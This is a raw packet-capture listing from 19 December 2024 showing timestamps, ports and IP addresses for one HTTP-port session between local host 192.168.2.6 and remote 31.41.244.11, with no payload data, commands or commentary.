Dec 19, 2024 16:10:19.072690964 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.072844028 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.073084116 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.073144913 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.074446917 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.074496031 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.074817896 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.075516939 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.076086044 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.076133966 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.076549053 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.076586962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.077824116 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.077879906 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.077938080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.077974081 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.079593897 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.079636097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.079673052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.080563068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.081244946 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.081305027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.081548929 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.081604958 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.082974911 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.083520889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.083539009 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.083698988 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.085283995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.085333109 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.085727930 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.085777044 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.086504936 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.086591959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.087366104 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.087580919 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.088162899 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.088200092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.089396954 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.089448929 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.090190887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.090208054 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.090240955 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.091619968 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.091746092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.092423916 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.092464924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.093276024 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.093312025 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.093640089 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.093676090 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.094974041 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.095014095 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.095364094 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.095455885 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.096795082 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.096858025 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.097312927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.097351074 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.098361969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.098422050 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.098481894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.098515987 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.100146055 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.100184917 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.100218058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.100249052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.101841927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.101886988 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.102366924 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.102406979 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.103565931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.103619099 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.103652954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.103691101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.105504036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.105545998 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.105909109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.105961084 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.106893063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.106928110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.107367039 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.107403040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.108619928 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.108732939 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.211781025 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.211882114 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.212006092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.212474108 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.212531090 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.212559938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.212604046 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.213861942 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.213907957 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.214556932 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.214623928 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.215291977 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.215339899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.215420008 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.215465069 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.216684103 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.216728926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.216764927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.216804981 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.218106985 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.218156099 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.218190908 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.218280077 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.219619036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.219665051 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.219702005 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.219932079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.220961094 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.221015930 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.221486092 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.221609116 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.222527027 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.222539902 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.222577095 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.223661900 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.223711967 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.223730087 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.224174023 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.224922895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.224968910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.225056887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.225111008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.226346970 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.226387024 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.226470947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.226525068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.227468014 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.227516890 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.227786064 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.228049994 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.228774071 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.228888035 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.228889942 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.228955030 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.230348110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.230393887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.230443954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.231328011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.231381893 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.231405020 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.231865883 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.232614040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.232659101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.232692957 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.232789993 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.233865976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.233918905 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.234123945 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.234304905 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.235130072 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.235172033 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.235179901 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.235214949 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.236418009 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.236464977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.237346888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.237389088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.237627029 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.237679005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.237943888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.238298893 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.238904953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.238990068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.239080906 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.239119053 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.240184069 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.240256071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.240503073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.240547895 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.241456985 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.241497993 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.241660118 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.241802931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.242742062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.242789030 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.242932081 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.242969036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.243993044 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.244034052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.244070053 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.244086981 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.245249987 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.245388031 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.245537996 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.245578051 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.246493101 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.246537924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.246762037 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.246798992 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.247797966 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.247844934 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.248017073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.248075008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.249099970 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.249149084 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.249372005 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.249413013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.250365019 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.250469923 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.250652075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.250788927 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.251559019 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.251632929 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.251756907 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.251796961 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.252823114 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.252863884 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.253122091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.253585100 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.254089117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.254242897 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.254270077 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.254314899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.255367041 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.255424976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.255445957 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.255467892 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.256608963 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.256635904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.256653070 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.256670952 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.257977962 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.258028984 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.258275032 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.258331060 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.259135962 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.259177923 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.259720087 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.259757042 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.260386944 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.260504007 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.260552883 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.261827946 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.261888027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.262773991 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.262839079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.263076067 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.263098955 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.263120890 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.263135910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.264288902 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.264339924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.264511108 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.264555931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.265465975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.265537977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.265737057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.265779018 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.266710043 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.266763926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.267024040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.267153025 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.267972946 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.268035889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.268416882 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.268464088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.269262075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.269321918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.269324064 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.269359112 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.270510912 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.271080971 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.271138906 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.271784067 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.271964073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.271987915 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.272011995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.273147106 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.273163080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.273200035 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.274310112 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.274353981 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.274358988 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.274413109 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.275527000 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.275589943 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.275768995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.275811911 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.276845932 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.276894093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.278073072 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.278085947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.278109074 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.278112888 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.278131008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.278146982 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.279634953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.279670954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.418396950 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.418468952 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.418541908 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.418610096 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.418745041 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.418795109 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.418827057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.418924093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.419682026 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.419732094 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.419887066 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.420015097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.420742035 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.420799971 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.420849085 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.421940088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.422013998 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.422113895 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.422267914 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.425554037 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.425585032 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.425596952 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.425615072 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.425638914 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.425673962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.425923109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.426289082 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.426640034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.426747084 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.426817894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.426882029 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.426924944 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.426970005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.427423954 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.427464008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.427499056 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.427539110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.428571939 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.428617954 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.428807974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.428867102 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.429858923 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.429903030 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.429971933 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.430007935 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.430859089 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.430907011 CET	49857	80	192.168.2.6	31.41.244.11
